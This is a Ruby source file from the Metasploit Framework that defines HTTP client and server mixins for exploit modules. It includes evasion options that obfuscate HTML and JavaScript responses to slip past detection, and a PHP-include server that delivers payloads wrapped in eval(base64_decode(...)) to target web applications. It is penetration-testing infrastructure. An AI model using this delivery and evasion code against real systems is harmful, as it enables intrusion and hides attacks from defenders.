metasploit-framework/lib/msf/core/exploit/http.rb

603 lines
15 KiB
Ruby

require 'rex/service_manager'
module Msf
###
#
# This module provides methods for acting as an HTTP client when
# exploiting an HTTP server.
#
###
module Exploit::Remote::HttpClient
#
# Initializes an exploit module that exploits a vulnerability in an HTTP
# server.
#
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(80),
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
Opt::SSL,
], self.class
)
register_advanced_options(
[
OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests'])
], self.class
)
register_evasion_options(
[
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal', 'hex-all', 'u-normal', 'u-all'], 'hex-normal'])
#
# Still re-implementing the following options
#
# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
# OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
# OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
# OptBool.new('HTTP::junk_slashes', [false, 'Enable insertion of random junk HTTP headers', 'false']),
# OptBool.new('HTTP::junk_directories', [false, 'Enable insertion of random junk directories in the URI', 'false']),
# OptBool.new('HTTP::junk_params', [false, 'Enable insertion of random junk parameters', 'false']),
# OptBool.new('HTTP::junk_self_referring_directories', [false, 'Enable insertion of random self referring directories (eg: /./././)', 'false']),
# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
# OptBool.new('HTTP::fake_uri_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', 'false']),
# OptBool.new('HTTP::fake_param_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', 'false']),
], self.class
)
end
#
# Connects to an HTTP server.
#
def connect(opts={})
nclient = Rex::Proto::Http::Client.new(
rhost,
rport.to_i,
{
'Msf' => framework,
'MsfExploit' => self,
},
ssl
)
# Configure the HTTP client with the supplied parameter
nclient.set_config(
'vhost' => self.vhost(),
'uri_encode_mode' => datastore['HTTP::uri_encode'],
'agent' => datastore['UserAgent']
)
# If this connection is global, persist it
if (opts['global'])
if (self.client)
disconnect
end
self.client = nclient
end
return nclient
end
#
# Passes the client connection down to the handler to see if it's of any
# use.
#
def handler(nsock = nil)
# If no socket was provided, try the global one.
if ((!nsock) and
(self.client))
nsock = self.client.conn
end
# If the parent claims the socket associated with the HTTP client, then
# we rip the socket out from under the HTTP client.
if (((rv = super(nsock)) == Handler::Claimed) and
(self.client) and
(nsock == self.client.conn))
self.client.conn = nil
end
rv
end
#
# Disconnects the HTTP client
#
def disconnect(nclient = self.client)
if (nclient)
nclient.close
end
if (nclient == self.client)
self.client = nil
end
end
#
# Performs cleanup as necessary, disconnecting the HTTP client if it's
# still established.
#
def cleanup
super
disconnect
end
#
# Connects to the server, creates a request, sends the request, reads the response
#
def send_request_raw(opts={}, timeout = -1)
c = connect(opts)
r = c.request_raw(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
end
#
# Connects to the server, creates a request, sends the request, reads the response
#
def send_request_cgi(opts={}, timeout = -1)
c = connect(opts)
r = c.request_cgi(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
end
##
#
# Wrappers for getters
#
##
#
# Returns the target host
#
def rhost
datastore['RHOST']
end
#
# Returns the remote port
#
def rport
datastore['RPORT']
end
#
# Returns the VHOST of the HTTP server.
#
def vhost
datastore['VHOST'] || datastore['RHOST']
end
#
# Returns the boolean indicating SSL
#
def ssl
datastore['SSL']
end
protected
attr_accessor :client
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer
include Msf::Exploit::Remote::TcpServer
protected
def initialize(info = {})
super
register_options(
[
OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]),
], Exploit::Remote::HttpServer
)
register_evasion_options(
[
OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
], Exploit::Remote::HttpServer
)
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end
#
# This method gives a derived class the opportunity to ensure that all
# dependencies are present before initializing the service.
#
def check_dependencies
end
#
# This mixin starts the HTTP server listener. This routine takes a few
# different hash parameters:
#
# ServerHost => Override the server host to listen on (default to SRVHOST).
# ServerPort => Override the server port to listen on (default to SRVPORT).
# Uri => The URI to handle and the associated procedure to call.
#
def start_service(opts = {})
check_dependencies
# Default the server host and port to what is required by the mixin.
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['SRVPORT'],
}.update(opts)
# Start the HTTP server service.
self.service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
{
'Msf' => framework,
'MsfExploit' => self,
}
)
self.service.server_name = 'Apache'
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
evasions(cli)
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
print_status("Using URL: http://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
add_resource(uopts)
end
#
# Adds a URI resource using the supplied hash parameters.
#
# Path => The path to associate the procedure with.
# Proc => The procedure to call when the URI is requested.
# LongCall => Indicates that the request is a long call.
#
def add_resource(opts)
@service_path = opts['Path']
service.add_resource(opts['Path'], opts)
end
#
# Returns the last-used resource path
#
def get_resource
@service_path
end
#
# Removes a URI resource.
#
def remove_resource(name)
service.remove_resource(name)
end
#
# Closes a client connection.
#
def close_client(cli)
service.close_client(cli)
end
#
# Creates an HTTP response packet.
#
def create_response(code = 200, message = "OK",
proto = Rex::Proto::Http::DefaultProtocol)
return Rex::Proto::Http::Response.new(code, message, proto);
end
#
# Transmits a response to the supplied client, default content-type is text/html
#
# Payload evasions are implemented here!
#
def send_response(cli, body, headers = {})
response = create_response
response['Content-Type'] = 'text/html'
response.body = body
if (datastore['HTTP::compression'])
self.use_zlib # make sure...
response.compress = datastore['HTTP::compression']
end
if (datastore['HTTP::chunked'] == true)
response.auto_cl = false
response.transfer_chunked = true
end
if (datastore['HTTP::header_folding'] == true)
response.headers.fold = 1
end
if (datastore['HTTP::junk_headers'] == true)
response.headers.junk_headers = 1
end
headers.each_pair { |k,v| response[k] = v }
cli.send_response(response)
end
#
# Sends a 302 redirect to the client
#
def send_redirect(cli, location='/', body='')
response = create_response(302, 'Moved')
response['Content-Type'] = 'text/html'
response['Location'] = location
response.body = body
cli.send_response(response)
end
#
# Sends a 302 redirect relative to our base path
#
def send_local_redirect(cli, location)
send_redirect(cli, get_resource + location)
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || random_uri
path = '/' + path if path !~ /^\//
return path
end
#
# Generates a random URI for use with making finger printing more
# challenging.
#
def random_uri
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
end
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port.
#
def regenerate_payload(cli)
# Update the datastore with the supplied client peerhost/peerport
datastore['RHOST'] = cli.peerhost
datastore['RPORT'] = cli.peerport
# If the payload fails to generate for some reason, send a 403.
if ((p = super()) == nil)
print_error("Failed to generate payload, sending 403.")
cli.send_response(
create_response(403, 'Forbidden'))
return nil
end
# Allow the payload to start a new handler
add_handler({
'RHOST' => datastore['RHOST'],
'RPORT' => datastore['RPORT']
})
p
end
##
#
# Override methods
#
##
#
# Called when a request is made to a single URI registered during the
# start_service. Subsequent registrations will not result in a call to
# on_request_uri.
#
def on_request_uri(cli, request)
end
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpServer
protected
def initialize(info = {})
super
register_evasion_options(
[
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML
)
end
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
def send_response_html(cli, body, headers = {})
if datastore['HTML::base64'] != 'none'
case datastore['HTML::base64']
when 'plain'
body = Rex::Text.encode_base64(body)
when 'single_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'double_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'random_space_injection'
body = Rex::Text.encode_base64(body)
new = ''
while (body.size > 0)
new += body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
end
body = new
end
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
end
if datastore['HTML::javascript::escape'] > 0
datastore['HTML::javascript::escape'].times {
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
}
end
if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
headers['Content-Type'] = 'text/html; charset: ' + datastore['HTML::unicode']
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
else
# special cases
case datastore['HTML::unicode']
when 'utf-16be-marker'
headers['Content-Type'] = 'text/html'
body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
when 'utf-7-all'
headers['Content-Type'] = 'text/html; charset: utf-7'
body = Rex::Text.to_unicode(body, 'utf-7', 'all')
when 'none'
# do nothing
else
raise RuntimeError, 'Invalid unicode. how did you get here?'
end
end
send_response(cli, body, headers)
end
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::PHPInclude
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
# Override TCPServer's stance of passive
super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))
register_evasion_options(
[
OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
], Exploit::Remote::HttpServer::PHPInclude
)
end
#
# Override exploit() to handle service start/stop
#
def exploit
start_service
print_status("PHP include server started.");
php_exploit
select(nil, nil, nil, 5)
stop_service
end
#
# Transmits a PHP payload to the web application
#
def send_php_payload(cli, body, headers = {})
case datastore['PHP::Encode']
when 'base64'
body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
when 'none'
body = "<?php #{body} ?>"
end
send_response(cli, body, headers)
end
#
# Handle an incoming PHP code request
#
def on_request_uri(cli, request, headers={})
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Send it to the application
send_php_payload(cli, p.encoded, headers)
end
#
# Return the PHP include URL (pre-encoded)
#
def php_include_url
"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{get_resource()}"
end
end
end